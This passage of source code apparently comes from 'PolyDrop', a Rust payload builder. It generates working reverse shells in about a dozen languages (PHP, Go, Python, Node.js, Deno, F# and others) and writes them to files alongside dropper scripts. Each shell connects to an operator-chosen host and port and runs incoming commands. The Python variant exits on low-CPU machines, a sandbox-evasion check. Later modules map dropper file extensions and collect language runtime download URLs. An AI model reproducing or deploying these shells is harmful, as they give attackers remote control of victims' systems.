false);\n\t\t\t\t\t}}\n\t\t\t\t\t$status = proc_get_status($process);\n\t\t\t\t\t@fwrite($socket, \"SOCKET: Shell has connected! PID: {{$status['pid']}}\\n\");\n\t\t\t\t\tdo {{\n\t\t\t\t\t\t$status = proc_get_status($process);\n\t\t\t\t\t\tif (feof($socket)) {{\n\t\t\t\t\t\t\techo \"SOC_ERROR: Shell connection has been terminated\\n\"; break;\n\t\t\t\t\t\t}} else if (feof($pipes[1]) || !$status['running']) {{\n\t\t\t\t\t\t\techo \"PROC_ERROR: Shell process has been terminated\\n\";break;\n\t\t\t\t\t\t}}\n\t\t\t\t\t\t$streams = array(\n\t\t\t\t\t\t\t'read' => array($socket, $pipes[1], $pipes[2]),\n\t\t\t\t\t\t\t'write' => null,\n\t\t\t\t\t\t\t'except' => null\n\t\t\t\t\t\t);\n\t\t\t\t\t\t$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0);\n\t\t\t\t\t\tif ($num_changed_streams === false) {{\n\t\t\t\t\t\t\techo \"STRM_ERROR: stream_select() failed\\n\"; break;\n\t\t\t\t\t\t}} else if ($num_changed_streams > 0) {{\n\t\t\t\t\t\t\tif ($this->os === 'LINUX') {{\n\t\t\t\t\t\t\t\tif (in_array($socket , $streams['read'])) {{ $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); }}\n\t\t\t\t\t\t\t\tif (in_array($pipes[2], $streams['read'])) {{ $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); }}\n\t\t\t\t\t\t\t\tif (in_array($pipes[1], $streams['read'])) {{ $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); }}\n\t\t\t\t\t\t\t}} else if ($this->os === 'WINDOWS') {{\n\t\t\t\t\t\t\t\tif (in_array($socket, $streams['read'])/*------*/) {{ $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); }}\n\t\t\t\t\t\t\t\tif (($fstat = fstat($pipes[2])) && $fstat['size']) {{ $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); }}\n\t\t\t\t\t\t\t\tif (($fstat = fstat($pipes[1])) && $fstat['size']) {{ $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); }}\n\t\t\t\t\t\t\t}}\n\t\t\t\t\t\t}}\n\t\t\t\t\t}} while (!$this->error);\n\t\t\t\t\tforeach ($pipes as $pipe) {{\n\t\t\t\t\t\tfclose($pipe);\n\t\t\t\t\t}}\n\t\t\t\t\tproc_close($process);\n\t\t\t\t}}\n\t\t\t\tfclose($socket);\n\t\t\t}}\n\t\t}}\n\t}}\n}}\necho '
';\n$sh = new Shell('{}', {});\n$sh->run();\nunset($sh);\necho '
';\n?>", &lhostarg, &lportarg); 561 | let crystal_revshell = format!("require \"process\"\nrequire \"socket\"\n\nc = Socket.tcp(Socket::Family::INET)\nc.connect(\"{}\", {})\nc.puts(\"PolyDrop Connection from Crystal Payload\")\nloop do\n\tm, l = c.receive\n\tp = Process.new(m.rstrip(\"\\n\"), output:Process::Redirect::Pipe, shell:true)\n\tc << p.output.gets_to_end\nend", &lhostarg, &lportarg); 562 | let julia_revshell = format!("using Sockets\n\nc = connect(\"{}\", {});\nmessage = \"PolyDrop Connection from Julia Payload\"\nmessage_bytes = string(message) |> x -> convert(Vector{{UInt8}}, x)\nwrite(c, message_bytes)\nwhile true\n\tcmd = readline(c, keep=true);\n\ttry\n\t\tprintln(c, read(`sh -c $cmd`, String));\n\tcatch e\n\t\tprint(c, e)\n\tend\nend", &lhostarg, &lportarg); 563 | let go_revshell = format!("package main;import\"os/exec\";import \"net\";import \"fmt\";func main(){{c,_:=net.Dial(\"tcp\",\"{}:{}\");message := \"PolyDrop Connection from Golang Payload\\n\";_, err := fmt.Fprintf(c, message);if err != nil {{fmt.Printf(\"Error sending message: %v\\n\", err);return}};cmd:=exec.Command(\"sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}}", &lhostarg, &lportarg); 564 | let dart_revshell = format!("import 'dart:io';\nimport 'dart:convert';\n\nmain() {{\n\tSocket.connect(\"{}\", {}).then((socket) {{\n\t\tvar message = \"PolyDrop Connection from Dart Payload\n\";var messageBytes = utf8.encode(message);socket.add(messageBytes);socket.listen((data) {{\n\t\t\tProcess.start('sh', []).then((Process process) {{\n\t\t\t\tprocess.stdin.writeln(new String.fromCharCodes(data).trim());\n\t\t\t\tprocess.stdout\n\t\t\t\t\t.transform(utf8.decoder)\n\t\t\t\t\t.listen((output) {{ socket.write(output); }});\n\t\t\t}});\n\t\t}},\n\t\tonDone: () {{\n\t\t\tsocket.destroy();\n\t\t}});\n\t}});\n}}", &lhostarg, &lportarg); 565 | let d_revshell = format!("import std.process, std.socket, std.conv;\n\nvoid main()\n{{\n\tSocket sock = new TcpSocket(new InternetAddress(\"{}\", {}));\n\tstring message = \"PolyDrop Connection from D-Lang Payload\n\";auto messageBytes = message.toUTF8();sock.send(messageBytes);\n\twhile (true)\n\t{{\n\t\tchar[] line;\n\t\tchar[1] buf;\n\t\twhile(sock.receive(buf))\n\t\t{{\n\t\t\tline ~= buf;\n\t\t\tif (buf[0] == '\\n')\n\t\t\t\tbreak;\n\t\t}}\n\t\tif (!line.length)\n\t\t\tbreak;\n\n\t\tauto os = executeShell(line);\n\t\tsock.send(os.output);\n\t}}\n}}", &lhostarg, &lportarg); 566 | let v_revshell = format!("module main\n\nimport net\nimport io\nimport os\n\nfn exec(path string) string {{\n\tmut out := ''\n\tmut line := ''\n\tmut cmd := os.Command{{\n\t\tpath: path\n\t}}\n\tcmd.start() or {{ panic(err) }}\n\n\tfor {{\n\t\tline = cmd.read_line()\n\t\tout += line + '\\n'\n\t\tif cmd.eof {{\n\t\t\treturn out\n\t\t}}\n\t}}\n\treturn out\n}}\n\nfn main() {{\n\tmut conn := net.dial_tcp('{}:{}')!\n\tmessage := \"PolyDrop Connection from V-Lang Payload\\n\";message_bytes := message.bytes();conn.write(message_bytes)!\n\tmut reader := io.new_buffered_reader(reader: conn)\n\tfor {{\n\t\tresult := reader.read_line() or {{ return }}\n\t\tconn.write_string(exec(result) + '\n') or {{ return }}\n\t}}\n}}", &lhostarg, &lportarg); 567 | let node_revshell = format!("(function(){{\n\tvar net = require(\"net\"),\n\t\tcp = require(\"child_process\"),\n\t\tsh = cp.spawn(\"sh\", []);\n\tvar client = new net.Socket();\n\tclient.connect({}, \"{}\", function(){{\n\t\tconst message = \"PolyDrop Connection from Node.js Payload\\n\";client.write(message);\n\t\tclient.pipe(sh.stdin);\n\t\tsh.stdout.pipe(client);\n\t\tsh.stderr.pipe(client);\n\t}});\n\treturn /a/;\n}})();", &lportarg, &lhostarg); 568 | let bun_revshell = format!("const net = require('net');\nconst {{ exec }} = require('child_process');\n\nconst IP = '{}';\nconst PORT = {};\n\nconst client = new net.Socket();\n\nclient.connect(PORT, IP, () => {{\n\tconsole.log('Connected to server');\n\tclient.write('PolyDrop Connection from Bun Payload\\n');\n}});\n\nclient.on('data', (data) => {{\n\texec(data.toString(), (error, stdout, stderr) => {{\n\t\tif (error) {{\n\t\t\tclient.write(`Error: ${{error.message}}\n`);\n\t\t\treturn;\n\t\t}}\n\t\tif (stderr) {{\n\t\t\tclient.write(`Stderr: ${{stderr}}\n`);\n\t\t\treturn;\n\t\t}}\n\t\tclient.write(stdout);\n\t}});\n}});\n\nclient.on('close', () => {{\n\tconsole.log('Connection closed');\n\tprocess.exit(0);\n}});", &lhostarg, &lportarg); 569 | let python_revshell = format!("import os\nimport socket\nimport subprocess\n\nif os.cpu_count() <= 2:\n\tquit()\n\nHOST = '{}'\nPORT = {}\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((HOST, PORT))\nmessage = \"PolyDrop Connection from Python Payload\\n\";s.sendall(message.encode())\n\nwhile 1:\n\ttry:\n\t\ts.send(str.encode(os.getcwd() + \"> \"))\n\t\tdata = s.recv(1024).decode(\"UTF-8\")\n\t\tdata = data.strip('\\n')\n\t\tif data == \"quit\": \n\t\t\tbreak\n\t\tif data[:2] == \"cd\":\n\t\t\tos.chdir(data[3:])\n\t\tif len(data) > 0:\n\t\t\tproc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n\t\t\tstdout_value = proc.stdout.read() + proc.stderr.read()\n\t\t\toutput_str = str(stdout_value, \"UTF-8\")\n\t\t\ts.send(str.encode(\"\\n\" + output_str))\n\texcept Exception as e:\n\t\tcontinue\n\ns.close()", &lhostarg, &lportarg); 570 | let fsharp_revshell = format!("open System\nopen System.Net\nopen System.Diagnostics\n\nlet rec asyncStdin (stream: System.Net.Sockets.NetworkStream, cmd: Process) =\n\tasync {{\n\t\tlet input = stream.ReadByte() |> Char.ConvertFromUtf32\n\t\tcmd.StandardInput.Write(input)\n\n\t\treturn! asyncStdin (stream, cmd)\n\t}}\n\nlet rec asyncStdout (stream: System.Net.Sockets.NetworkStream, cmd: Process) =\n\tasync {{\n\t\tlet output = cmd.StandardOutput.Read() |> Char.ConvertFromUtf32\n\t\tlet outbyte = System.Text.Encoding.UTF32.GetBytes(output)\n\t\tstream.Write(outbyte, 0, outbyte.Length)\n\n\t\treturn! asyncStdout (stream, cmd)\n\t}}\n\nlet main =\n\tlet client = new System.Net.Sockets.TcpClient()\n\n\tclient.Connect(\"{}\", {})\n\n\tlet stream = client.GetStream()\n\tlet message = \"PolyDrop Connection from F# Payload\\n\";let messageBytes = Encoding.UTF8.GetBytes(message);stream.Write(messageBytes, 0, messageBytes.Length)\n\t\n\tlet procStartInfo = ProcessStartInfo (\n\t\tFileName = \"/bin/sh\",\n\t\tRedirectStandardInput = true,\n\t\tRedirectStandardOutput = true,\n\t\tRedirectStandardError = true,\n\t\tUseShellExecute = false,\n\t\tCreateNoWindow = true\n\t)\n\n\tlet cmd = new Process(StartInfo = procStartInfo)\n\tlet err = cmd.Start()\n\n\tasyncStdin (stream, cmd) |> Async.Start\n\tasyncStdout (stream, cmd) |> Async.RunSynchronously\n\n\tstream.Flush()\n\n\tSystem.Threading.Thread.Sleep(TimeSpan.FromSeconds(30.0))\n\nmain", &lhostarg, &lportarg); 571 | let deno_revshell = format!("const IP = \"{}\";\nconst PORT = {};\n\nasync function connect(ip: string, port: number) {{\n\tconst conn = await Deno.connect({{ hostname: ip, port: port }});\n\tconsole.log(`Connected to ${{ip}}:${{port}}`);\n\n\tawait conn.write(new TextEncoder().encode(\"PolyDrop Connection from Deno Payload\\n\"));\n\n\tconst buffer = new Uint8Array(1024);\n\twhile (true) {{\n\t\tconst n = await conn.read(buffer);\n\t\tif (n === null) break;\n\t\tconst command = new TextDecoder().decode(buffer.subarray(0, n)).trim();\n\t\tconsole.log(`Received: ${{command}}`);\n\n\t\ttry {{\n\t\t\tconst process = Deno.run({{\n\t\t\t\tcmd: [\"sh\", \"-i\", command],\n\t\t\t\tstdout: \"piped\",\n\t\t\t\tstderr: \"piped\",\n\t\t\t}});\n\n\t\t\tconst output = await process.output();\n\t\t\tconst error = await process.stderrOutput();\n\n\t\t\tconst combinedOutput = new Uint8Array([...output, ...error]);\n\t\t\tawait conn.write(combinedOutput);\n\n\t\t\tprocess.close();\n\t\t}} catch (err) {{\n\t\t\tawait conn.write(new TextEncoder().encode(`Error: ${{err.message}}\n`));\n\t\t}}\n\t}}\n\n\tconn.close();\n}}\n\nconnect(IP, PORT);", &lhostarg, &lportarg); 572 | let reverse_shell = payloads::Codex::new( 573 | &tcl_revshell, 574 | &php_revshell, 575 | &crystal_revshell, 576 | &julia_revshell, 577 | &go_revshell, 578 | &dart_revshell, 579 | &d_revshell, 580 | &v_revshell, 581 | &node_revshell, 582 | &bun_revshell, 583 | &python_revshell, 584 | &fsharp_revshell, 585 | &deno_revshell, 586 | ); 587 | let p_res = if language == "tcl" { 588 | mac_payloads.tcl_payload() 589 | } else if language == "php" { 590 | mac_payloads.php_payload() 591 | } else if language == "crystal" { 592 | mac_payloads.crystal_payload() 593 | } else if language == "julia" { 594 | mac_payloads.julia_payload() 595 | } else if language == "golang" { 596 | mac_payloads.go_payload() 597 | } else if language == "dart" { 598 | mac_payloads.dart_payload() 599 | } else if language == "dlang" { 600 | mac_payloads.d_payload() 601 | } else if language == "vlang" { 602 | mac_payloads.v_payload() 603 | } else if language == "nodejs" { 604 | mac_payloads.node_payload() 605 | } else if language == "bun" { 606 | mac_payloads.bun_payload() 607 | } else if language == "python" { 608 | mac_payloads.python_payload() 609 | } else if language == "fsharp" { 610 | mac_payloads.fsharp_payload() 611 | } else if language == "deno" { 612 | mac_payloads.deno_payload() 613 | } else if language == "empty" { 614 | "Building payload for every language...".to_string() 615 | } else { 616 | arguments::getargs() 617 | } 618 | .to_string(); 619 | 620 | let p_shell = if language == "tcl" { 621 | reverse_shell.tcl_revshell() 622 | } else if language == "php" { 623 | reverse_shell.php_revshell() 624 | } else if language == "crystal" { 625 | reverse_shell.crystal_revshell() 626 | } else if language == "julia" { 627 | reverse_shell.julia_revshell() 628 | } else if language == "golang" { 629 | reverse_shell.go_revshell() 630 | } else if language == "dart" { 631 | reverse_shell.dart_revshell() 632 | } else if language == "dlang" { 633 | reverse_shell.d_revshell() 634 | } else if language == "vlang" { 635 | reverse_shell.v_revshell() 636 | } else if language == "nodejs" { 637 | reverse_shell.node_revshell() 638 | } else if language == "bun" { 639 | reverse_shell.bun_revshell() 640 | } else if language == "python" { 641 | reverse_shell.python_revshell() 642 | } else if language == "fsharp" { 643 | reverse_shell.f_revshell() 644 | } else if language == "dano" { 645 | reverse_shell.deno_revshell() 646 | } else if language == "empty" { 647 | "Building payload for every language...".to_string() 648 | } else { 649 | arguments::getargs() 650 | } 651 | .to_string(); 652 | 653 | let p_ext = if language == "tcl" { 654 | ".tcl".to_string() 655 | } else if language == "php" { 656 | ".php".to_string() 657 | } else if language == "crystal" { 658 | ".cr".to_string() 659 | } else if language == "julia" { 660 | ".jl".to_string() 661 | } else if language == "golang" { 662 | ".go".to_string() 663 | } else if language == "dart" { 664 | ".dart".to_string() 665 | } else if language == "dlang" { 666 | ".d".to_string() 667 | } else if language == "vlang" { 668 | ".v".to_string() 669 | } else if language == "nodejs" { 670 | ".js".to_string() 671 | } else if language == "bun" { 672 | ".tsx".to_string() 673 | } else if language == "python" { 674 | ".py".to_string() 675 | } else if language == "fsharp" { 676 | ".fsx".to_string() 677 | } else if language == "deno" { 678 | ".ts".to_string() 679 | } else if language == "empty" { 680 | "Building payload for every language...".to_string() 681 | } else { 682 | arguments::getargs() 683 | } 684 | .to_string(); 685 | 686 | let ext = if payload == "pwsh" || payload == "PowerShell" || payload == "powershell" { 687 | ".ps1" 688 | } else { 689 | ".sh" 690 | } 691 | .to_string(); 692 | let outfile = output.to_string() + &ext; 693 | let revfile = output.to_string() + &p_ext; 694 | if allarg == "true" { 695 | for payload in [ 696 | &mac_payloads.tcl_payload(), 697 | &mac_payloads.php_payload(), 698 | &mac_payloads.crystal_payload(), 699 | &mac_payloads.julia_payload(), 700 | &mac_payloads.go_payload(), 701 | &mac_payloads.dart_payload(), 702 | &mac_payloads.d_payload(), 703 | &mac_payloads.v_payload(), 704 | &mac_payloads.node_payload(), 705 | &mac_payloads.bun_payload(), 706 | &mac_payloads.python_payload(), 707 | &mac_payloads.fsharp_payload(), 708 | &mac_payloads.deno_payload(), 709 | ] 710 | .iter() 711 | { 712 | //println!("{}", payload); 713 | // Open a file with append option 714 | let mut data_file = OpenOptions::new() 715 | .create(true) 716 | .append(true) 717 | .open(&outfile) 718 | .expect("cannot open file"); 719 | 720 | // Write to a file 721 | data_file 722 | .write_all(payload.as_bytes()) 723 | .expect("write failed"); 724 | } 725 | let source_array = [ 726 | &reverse_shell.tcl_revshell(), 727 | &reverse_shell.php_revshell(), 728 | &reverse_shell.crystal_revshell(), 729 | &reverse_shell.julia_revshell(), 730 | &reverse_shell.go_revshell(), 731 | &reverse_shell.dart_revshell(), 732 | &reverse_shell.d_revshell(), 733 | &reverse_shell.v_revshell(), 734 | &reverse_shell.node_revshell(), 735 | &reverse_shell.bun_revshell(), 736 | &reverse_shell.python_revshell(), 737 | &reverse_shell.f_revshell(), 738 | &reverse_shell.deno_revshell(), 739 | ]; 740 | let ext_array = [ 741 | ".tcl".to_string(), 742 | ".php".to_string(), 743 | ".cr".to_string(), 744 | ".jl".to_string(), 745 | ".go".to_string(), 746 | ".dart".to_string(), 747 | ".d".to_string(), 748 | ".v".to_string(), 749 | ".js".to_string(), 750 | ".tsx".to_string(), 751 | ".py".to_string(), 752 | ".fsx".to_string(), 753 | ".ts".to_string(), 754 | ]; 755 | for (revcode, revext) in source_array.iter().zip(ext_array.iter()) { 756 | let payloadfile = output.to_string() + &revext; 757 | let mut revshell_source = 758 | std::fs::File::create(payloadfile).expect("create failed"); 759 | revshell_source 760 | .write_all(revcode.as_bytes()) 761 | .expect("write failed"); 762 | } 763 | } else { 764 | println!("{}", outfile); 765 | let mut payload_main = std::fs::File::create(outfile).expect("create failed"); 766 | payload_main 767 | .write_all(p_res.as_bytes()) 768 | .expect("write failed"); 769 | let mut revshell_source = std::fs::File::create(revfile).expect("create failed"); 770 | revshell_source 771 | .write_all(p_shell.as_bytes()) 772 | .expect("write failed"); 773 | } 774 | } else { 775 | arguments::getargs(); 776 | } 777 | } 778 | -------------------------------------------------------------------------------- /src/builder/payloads/mod.rs: -------------------------------------------------------------------------------- 1 | pub struct Payloads { 2 | tcltorture: String, 3 | pinkelephant: String, 4 | crystalmethod: String, 5 | juliachilds: String, 6 | gopherguts: String, 7 | dartwingduck: String, 8 | deeznuts: String, 9 | vendetta: String, 10 | noodles: String, 11 | buns: String, 12 | pythos: String, 13 | fsociety: String, 14 | denote: String, 15 | } 16 | impl Payloads { 17 | pub fn new( 18 | tcl_torture: &str, 19 | pink_elephant: &str, 20 | crystal_method: &str, 21 | julia_childs: &str, 22 | gopher_guts: &str, 23 | dartwing_duck: &str, 24 | deez_nuts: &str, 25 | v_endetta: &str, 26 | no_odles: &str, 27 | bun_s: &str, 28 | py_thos: &str, 29 | f_society: &str, 30 | d_note: &str, 31 | ) -> Payloads { 32 | Payloads { 33 | tcltorture: tcl_torture.to_string(), 34 | pinkelephant: pink_elephant.to_string(), 35 | crystalmethod: crystal_method.to_string(), 36 | juliachilds: julia_childs.to_string(), 37 | gopherguts: gopher_guts.to_string(), 38 | dartwingduck: dartwing_duck.to_string(), 39 | deeznuts: deez_nuts.to_string(), 40 | vendetta: v_endetta.to_string(), 41 | noodles: no_odles.to_string(), 42 | buns: bun_s.to_string(), 43 | pythos: py_thos.to_string(), 44 | fsociety: f_society.to_string(), 45 | denote: d_note.to_string(), 46 | } 47 | } 48 | pub fn tcl_payload(&self) -> String { 49 | format!("{}", self.tcltorture) 50 | } 51 | pub fn php_payload(&self) -> String { 52 | format!("{}", self.pinkelephant) 53 | } 54 | pub fn crystal_payload(&self) -> String { 55 | format!("{}", self.crystalmethod) 56 | } 57 | pub fn julia_payload(&self) -> String { 58 | format!("{}", self.juliachilds) 59 | } 60 | pub fn go_payload(&self) -> String { 61 | format!("{}", self.gopherguts) 62 | } 63 | pub fn dart_payload(&self) -> String { 64 | format!("{}", self.dartwingduck) 65 | } 66 | pub fn d_payload(&self) -> String { 67 | format!("{}", self.deeznuts) 68 | } 69 | pub fn v_payload(&self) -> String { 70 | format!("{}", self.vendetta) 71 | } 72 | pub fn node_payload(&self) -> String { 73 | format!("{}", self.noodles) 74 | } 75 | pub fn bun_payload(&self) -> String { 76 | format!("{}", self.buns) 77 | } 78 | pub fn python_payload(&self) -> String { 79 | format!("{}", self.pythos) 80 | } 81 | pub fn fsharp_payload(&self) -> String { 82 | format!("{}", self.fsociety) 83 | } 84 | pub fn deno_payload(&self) -> String { 85 | format!("{}", self.denote) 86 | } 87 | } 88 | 89 | pub struct Codex { 90 | tcl: String, 91 | php: String, 92 | crystal: String, 93 | julia: String, 94 | go: String, 95 | dart: String, 96 | d_lang: String, 97 | v_lang: String, 98 | node: String, 99 | bun: String, 100 | python: String, 101 | fsharp: String, 102 | deno: String, 103 | } 104 | 105 | impl Codex { 106 | pub fn new( 107 | tcl_shell: &str, 108 | php_shell: &str, 109 | crystal_shell: &str, 110 | julia_shell: &str, 111 | go_shell: &str, 112 | dart_shell: &str, 113 | d_shell: &str, 114 | v_shell: &str, 115 | node_shell: &str, 116 | bun_shell: &str, 117 | py_shell: &str, 118 | f_shell: &str, 119 | deno_shell: &str, 120 | ) -> Codex { 121 | Codex { 122 | tcl: tcl_shell.to_string(), 123 | php: php_shell.to_string(), 124 | crystal: crystal_shell.to_string(), 125 | julia: julia_shell.to_string(), 126 | go: go_shell.to_string(), 127 | dart: dart_shell.to_string(), 128 | d_lang: d_shell.to_string(), 129 | v_lang: v_shell.to_string(), 130 | node: node_shell.to_string(), 131 | bun: bun_shell.to_string(), 132 | python: py_shell.to_string(), 133 | fsharp: f_shell.to_string(), 134 | deno: deno_shell.to_string(), 135 | } 136 | } 137 | pub fn tcl_revshell(&self) -> String { 138 | format!("{}", self.tcl) 139 | } 140 | pub fn php_revshell(&self) -> String { 141 | format!("{}", self.php) 142 | } 143 | pub fn crystal_revshell(&self) -> String { 144 | format!("{}", self.crystal) 145 | } 146 | pub fn julia_revshell(&self) -> String { 147 | format!("{}", self.julia) 148 | } 149 | pub fn go_revshell(&self) -> String { 150 | format!("{}", self.go) 151 | } 152 | pub fn dart_revshell(&self) -> String { 153 | format!("{}", self.dart) 154 | } 155 | pub fn d_revshell(&self) -> String { 156 | format!("{}", self.d_lang) 157 | } 158 | pub fn v_revshell(&self) -> String { 159 | format!("{}", self.v_lang) 160 | } 161 | pub fn node_revshell(&self) -> String { 162 | format!("{}", self.node) 163 | } 164 | pub fn bun_revshell(&self) -> String { 165 | format!("{}", self.bun) 166 | } 167 | pub fn python_revshell(&self) -> String { 168 | format!("{}", self.python) 169 | } 170 | pub fn f_revshell(&self) -> String { 171 | format!("{}", self.fsharp) 172 | } 173 | pub fn deno_revshell(&self) -> String { 174 | format!("{}", self.deno) 175 | } 176 | } 177 | -------------------------------------------------------------------------------- /src/builder/validate_urls/constants/mod.rs: -------------------------------------------------------------------------------- 1 | pub(crate) const CRYSTAL_LANG_API: &[&str] = 2 | &["https://api.github.com/repos/crystal-lang/crystal/releases/latest"]; 3 | 4 | pub(crate) const VLANG_API: &[&str] = &["https://api.github.com/repos/v-lang/v/releases"]; 5 | 6 | pub(crate) const BUN_API: &[&str] = &["https://api.github.com/repos/oven-sh/bun/releases"]; 7 | 8 | pub(crate) const DENO_API: &[&str] = &["https://api.github.com/repos/deno-land/deno/releases"]; 9 | 10 | pub(crate) const PYTHON_DIR_LISTING: &[&str] = &[ 11 | "https://www.python.org/ftp/" 12 | ]; 13 | 14 | pub(crate) const DLANG_DIR_LISTING: &[&str] = &[ 15 | "https://downloads.dlang.org/releases/" 16 | ]; 17 | 18 | pub(crate) const WIN_PHP_DIR_LISTING: &[&str] = &[ 19 | "https://windows.php.net/downloads/releases/" 20 | ]; 21 | 22 | pub(crate) const GNU_PHP_DIR_LISTING: &[&str] = &[ 23 | "https://dl.static-php.dev/static-php-cli/common/" 24 | ]; 25 | 26 | pub(crate) const JULIA_S3_BUCKET: &[&str] = &[ 27 | "https://julialang-s3.julialang.org/" 28 | ]; 29 | 30 | pub(crate) const GOLANG_DIR_LISTING: &[&str] = &[ 31 | "https://go.dev/dl/" 32 | ]; 33 | -------------------------------------------------------------------------------- /src/builder/validate_urls/ext_to_os_payload_map/mod.rs: -------------------------------------------------------------------------------- 1 | use std::collections::HashMap; 2 | use once_cell::sync::Lazy; 3 | 4 | #[derive(Debug)] 5 | pub enum Value { 6 | String(String), 7 | StringList(Vec), 8 | } 9 | 10 | pub static WIN_CONFIG: Lazy> = Lazy::new(|| { 11 | let mut m = HashMap::new(); 12 | m.insert( 13 | "dropper_exts".to_string(), 14 | Value::StringList(vec![ 15 | "pwsh".to_string(), 16 | "ps1".to_string(), 17 | "bat".to_string(), 18 | "vbs".to_string(), 19 | ]), 20 | ); 21 | m 22 | }); 23 | 24 | pub static LIN_CONFIG: Lazy> = Lazy::new(|| { 25 | let mut m = HashMap::new(); 26 | m.insert("dropper_exts".to_string(), Value::StringList(vec![ 27 | "sh".to_string(), 28 | "zsh".to_string(), 29 | "csh".to_string(), 30 | "cksh".to_string(), 31 | "esh".to_string(), 32 | "bash".to_string() 33 | ]), 34 | ); 35 | m 36 | }); 37 | 38 | pub static MAC_CONFIG: Lazy> = Lazy::new(|| { 39 | let mut m = HashMap::new(); 40 | m.insert("dropper_exts".to_string(), Value::StringList(vec![ 41 | "sh".to_string(), 42 | "zsh".to_string(), 43 | "csh".to_string(), 44 | "cksh".to_string(), 45 | "esh".to_string(), 46 | "bash".to_string() 47 | ]) 48 | ); 49 | m 50 | }); 51 | 52 | pub static LANGUAGE_EXTS: Lazy> = Lazy::new(|| { 53 | let mut m = HashMap::new(); 54 | m.insert("deno".to_string(), Value::StringList(vec![ 55 | "ts".to_string(), 56 | "tsx".to_string(), 57 | "js".to_string() 58 | ]) 59 | ); 60 | m.insert("dlang".to_string(), Value::StringList(vec![ 61 | "d".to_string() 62 | ])); 63 | m.insert("vlang".to_string(), Value::StringList(vec![ 64 | "v".to_string() 65 | ])); 66 | m.insert("python".to_string(), Value::StringList(vec![ 67 | "py".to_string(), 68 | "pyzw".to_string(), 69 | "pyz".to_string(), 70 | "pyc".to_string() 71 | ])); 72 | m.insert("php".to_string(), Value::StringList(vec![ 73 | "php".to_string(), 74 | "php4".to_string(), 75 | "php5".to_string(), 76 | "php6".to_string(), 77 | "php7".to_string(), 78 | "php8".to_string(), 79 | "phtml".to_string(), 80 | "txt".to_string(), 81 | "html".to_string() 82 | ])); 83 | m.insert("tcl".to_string(), Value::StringList(vec![ 84 | "tcl".to_string() 85 | ])); 86 | m.insert("crystal".to_string(), Value::StringList(vec![ 87 | "cr".to_string() 88 | ])); 89 | m.insert("julia".to_string(), Value::StringList(vec![ 90 | "jl".to_string() 91 | ])); 92 | m.insert("rlang".to_string(), Value::StringList(vec![ 93 | "r".to_string() 94 | ])); 95 | m.insert("bun".to_string(), Value::StringList(vec![ 96 | "js".to_string(), 97 | "ts".to_string(), 98 | "tsx".to_string() 99 | ])); 100 | m.insert("fsharp".to_string(), Value::StringList(vec![ 101 | "fsx".to_string(), 102 | "f".to_string(), 103 | "fs".to_string() 104 | ])); 105 | m.insert("dart".to_string(), Value::StringList(vec![ 106 | "dart".to_string() 107 | ])); 108 | m.insert("golang".to_string(), Value::StringList(vec![ 109 | "go".to_string() 110 | ])); 111 | m 112 | }); -------------------------------------------------------------------------------- /src/builder/validate_urls/github/mod.rs: -------------------------------------------------------------------------------- 1 | use serde::{Deserialize, Serialize}; 2 | 3 | #[derive(Serialize, Deserialize, Debug)] 4 | pub struct Author { 5 | pub login: String, 6 | pub id: u64, 7 | pub node_id: String, 8 | pub avatar_url: String, 9 | pub gravatar_id: String, 10 | pub url: String, 11 | pub html_url: String, 12 | pub followers_url: String, 13 | pub following_url: String, 14 | pub gists_url: String, 15 | pub starred_url: String, 16 | pub subscriptions_url: String, 17 | pub organizations_url: String, 18 | pub repos_url: String, 19 | pub events_url: String, 20 | pub received_events_url: String, 21 | #[serde(rename = "type")] 22 | pub user_type: String, 23 | pub site_admin: bool, 24 | } 25 | 26 | #[derive(Serialize, Deserialize, Debug)] 27 | pub struct Asset { 28 | pub url: String, 29 | pub id: u64, 30 | pub node_id: String, 31 | pub name: String, 32 | pub label: String, 33 | pub uploader: Author, 34 | pub content_type: String, 35 | pub state: String, 36 | pub size: u64, 37 | pub download_count: u64, 38 | pub created_at: String, 39 | pub updated_at: String, 40 | pub browser_download_url: String, 41 | } 42 | 43 | #[derive(Serialize, Deserialize, Debug)] 44 | pub struct Release { 45 | pub url: String, 46 | pub assets_url: String, 47 | pub upload_url: String, 48 | pub html_url: String, 49 | pub id: u64, 50 | pub author: Author, 51 | pub node_id: String, 52 | pub tag_name: String, 53 | pub target_commitish: String, 54 | pub name: String, 55 | pub draft: bool, 56 | pub prerelease: bool, 57 | pub created_at: String, 58 | pub published_at: String, 59 | pub assets: Vec, 60 | } 61 | 62 | pub fn extract_browser_download_urls(json_data: &str) -> Vec { 63 | let release: Release = serde_json::from_str(json_data).expect("Failed to parse JSON"); 64 | release 65 | .assets 66 | .iter() 67 | .map(|asset| asset.browser_download_url.clone()) 68 | .collect() 69 | } 70 | -------------------------------------------------------------------------------- /src/builder/validate_urls/julia/mod.rs: -------------------------------------------------------------------------------- 1 | use quick_xml::events::Event; 2 | use quick_xml::Reader; 3 | use std::fs::File; 4 | use std::io::BufReader; 5 | 6 | pub fn parse_julia_s3_data(xml: &str, url: &str) -> Vec { 7 | let mut reader = Reader::from_str(xml); 8 | reader.trim_text(true); 9 | 10 | let mut buf = Vec::new(); 11 | let mut in_key = false; 12 | let mut keys = Vec::new(); 13 | 14 | // Iterate over each XML event 15 | loop { 16 | match reader.read_event(&mut buf) { 17 | Ok(Event::Start(ref e)) if e.name() == b"Key" => { 18 | in_key = true; 19 | } 20 | Ok(Event::Text(e)) if in_key => { 21 | let key_value = e.unescape_and_decode(&reader).unwrap(); 22 | if !key_value.ends_with(".asc") 23 | && (key_value.contains(".tar.gz") || key_value.contains(".zip")) 24 | { 25 | let dl_url = format!("{}{}", &url[..url.len() - 1], key_value); 26 | keys.push(dl_url); 27 | } 28 | in_key = false; 29 | } 30 | Ok(Event::Eof) => break, 31 | Err(e) => panic!("Error at position {}: {:?}", reader.buffer_position(), e), 32 | _ => (), // Clear the buffer to prepare for the next event 33 | } 34 | buf.clear(); 35 | } 36 | 37 | keys 38 | } 39 | -------------------------------------------------------------------------------- 